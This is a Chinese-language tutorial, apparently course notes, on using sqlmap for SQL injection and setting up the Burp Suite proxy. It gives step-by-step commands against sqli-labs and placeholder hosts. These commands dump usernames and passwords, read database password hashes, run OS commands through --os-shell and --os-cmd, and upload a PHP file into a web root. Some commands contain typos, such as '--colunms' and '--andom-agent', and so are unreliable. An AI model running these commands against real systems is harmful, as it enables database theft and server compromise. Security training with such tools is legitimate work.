SQLMAP
sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试神器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。
支持的数据库:MySQL,Oracle, PostgreSQL, SQL Server, Microsoft Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。
sqlmap支持五种不同的注入模式:
- UNION query SQL injection(可联合查询注入)
- uError-based SQL injection(报错型注入)
- uBoolean-based blind SQL injection(布尔型注入)
- uTime-based blind SQL injection(基于时间延迟注入)
- uStacked queries SQL injection(可多语句查询注入)
sqlmap的安装
(1)安装sqlmap前,需要先安装 Python3.X
下载地址:Python Releases for Windows | Python.org
(2)在环境变量path中,增加python3.x安装路径
(3)下载sqlmap并解压缩:地址:sqlmap: automatic SQL injection and database takeover tool
Python sqlmap.py –u http://xxx.xxx.xxx/
Python sqlmap.py --help 查看帮助
sqlmap常用参数
设置目标URL
-u /--url 最基本格式 sqlmap -u “http://www.target.com/index.php?id=1”
-m 从文本中获取多个目标扫描,但是每一个一个 url. sqlmap -m urllist.txt
-r 从文件中加载 HTTP 请求,这样的话 就不需要在去设定cookie,POST 数据
--dbs 返回当前连接的数据库
--current-db 返回当前网站数据库的数据库用户
-D 指定数据库系统的数据库名
--tables 列举数据库表
-T 指定数据库表名
--columns 列举数据库表中的字段
-C 指定数据库表中的字段名
--dump 获取整个表的数据
设置回显等级
参数:-v 默认为1:
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认等级)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同事显示HTTP响应页面。
设置HTTP数据包相关参数
参数:--data 此参数是把数以POST方式提交,sqlmap会像检测GET参数一样检测POST过去 的参数。 python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1"
参数:--cookie 当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到--cookie参数中。
HTTP User-Agent 头
参数:--random-agent 会从sqlmap/txt/user-agents.txt中随机产生User-Agent头。
sqlmap -u “http://www.target.com” --level 3 --andom-agent --dbs
sqlmap 检查uesr-agent中的注入点, level>=3才会去检查user-agent头是否存在注入漏洞
设定探测等级
--level 共有五个等级,默认为1,
sqlmap使用的payload可以在xml/payloads.xml中看到,自己也可以根据相应的格式添加自己的payload。5级包含的payload最多。 http cookie在2级时可以检测 HTTP user-Agent/Referer在3级时就会检测
level>=2的时候就会测试HTTP Cookie。
level>=3的时候就会测试HTTP User-Agent/Referer头。
level=5 的时候会测试HTTP Host。
--users 列数据库管理用户,当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。
--current-user 在大多数据库中可以获取到管理数据的用户。
--is-dba 判断当前的用户是否为管理,是的话会返回True。
--proxy 指定一个代理服务器 eg: –proxy http://xxxxx:8080
--os-shell 前提:需要网站的物理路径,其次是需要有FIILE权限。
sql注入简单流程
第一步:判断是否是注入点
sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1"
第二步:获取数据库
sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" --dbs
第三步:查看当前应用程序所用数据库
sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" --current-db
第四步:列出指定数据库的所有表
sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" -D "security" --tables
第五步:读取指定表中的字段名称
sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" -D "security" -T users --colunms
第六步:读取指定字段内容
sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" -D "security" -T users -C username,password --dump
sqlmap进阶
--is-dba 判断当前数据库用户权限
sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --is-dba
–roles 列出数据库管理员角色
如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色, sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --roles
--referer HTTPReferer头
当–level参数设定为3或3以上时,会尝试对HTTP Referer注入。可以使用referer命令来欺骗,如--referer https://mp.mysite.net
--sql-shell 运行自定义的sql语句
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell
–os-cmd,–os-shell 运行任意操作系统命令
选择后台语言 sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami
–file-read 从数据库服务器中读取文件
该命令用于读取执行文件,当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
–file-write –file-dest 上传文件到数据库服务器中
该命令用于写入本地文件到服务器中。
Sqlmap –u http://10.1.8.8/sql1/less-1/?id=1 --file-write ‘c:\user\cisp-pte\desktop\xie1.php’ --file-dest ‘c:\phpstudy\www\wwwroot\xie.php’
读取指定数据库用户的密码
sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --passwords -U root
Sqlmap进阶-常用tamper脚本
Burpsuite
设置 burpsuite 代理
1、打开浏览器设置(这里我用的是火狐浏览器),在常规设置里,最下方有个设置(下图所示)
2、点击设置出现此页面,选择手动配置代理,设HTTP代理为127.0.0.1 端口号为8080,点击确定即可完成
burp suite功能模块
Send to spider 发送给爬虫模块
DO a active scan 进行一次主动扫描
Send to intruder 发送给爆破模块
Send to repearter 发送给重放模块
Send to comparer 发送给比对模块
Send to decode